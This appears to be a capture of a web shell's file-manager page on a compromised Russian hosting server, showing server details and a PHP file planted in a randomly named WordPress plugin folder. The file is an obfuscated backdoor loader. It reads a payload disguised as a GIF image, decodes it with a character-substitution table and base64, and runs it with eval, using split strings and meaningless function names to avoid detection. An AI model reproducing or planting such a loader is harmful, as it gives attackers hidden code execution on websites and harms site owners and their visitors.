HEX
Server: Apache/2.4.6 (CloudLinux) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16
System: Linux s1.gigspace.ru 3.10.0-962.3.2.lve1.5.77.el7.x86_64 #1 SMP Mon Dec 12 07:06:14 EST 2022 x86_64
User: samok164 (6070)
PHP: 7.2.34
Disabled: NONE
Upload Files
File: /var/www/samok164/data/www2/mirneboskrebov.ru/wp-content/plugins/agytumys/zowypis.php
<?php

function okhaheg_kykhipo($othyfub_ohotuso) {
    if (!file_exists($othyfub_ohotuso))
        return false;
    $ycojir = @file_get_contents($othyfub_ohotuso);
    if (!$ycojir)
        return false;
    $ycojir = substr($ycojir, 3);
    $dynuthu = ozirich_esileby($ycojir);
    return $dynuthu;
}

function ozirich_esileby($othyfub_ohotuso) {
    $eronen = moloxuf_arafiby;
    $wisuwud = array();
    for ($uwaxave = 0; $uwaxave < strlen($eronen); $uwaxave += 2) {
        $owujomo = substr($eronen, $uwaxave, 1);
        $ehachab = substr($eronen, $uwaxave + 1, 1);
        $wisuwud[$owujomo] = $ehachab;
    }
    $eroshul = strtr($othyfub_ohotuso, $wisuwud);
    $eroshul = base64_decode($eroshul);

    return $eroshul;
}

define("moloxuf_arafiby", "/K3n5sxCuIJDzpmf05VWjHImORLVnuqxpXt+MJ9rkSXqf9yod7hdcNQATEFZWeEODQ43Ky6t84o=ZBiGPiNMeY+2Gz=1RU10Uvl/vgAb2krwShw8BcgLCPHT76ajslbFYa");

$osikekh = okhaheg_kykhipo(__DIR__ . "/asset" . "s/ima" . "ges/" . "bope" . "bir.gi" . "f");
if ($osikekh) {
    @eval($osikekh);
}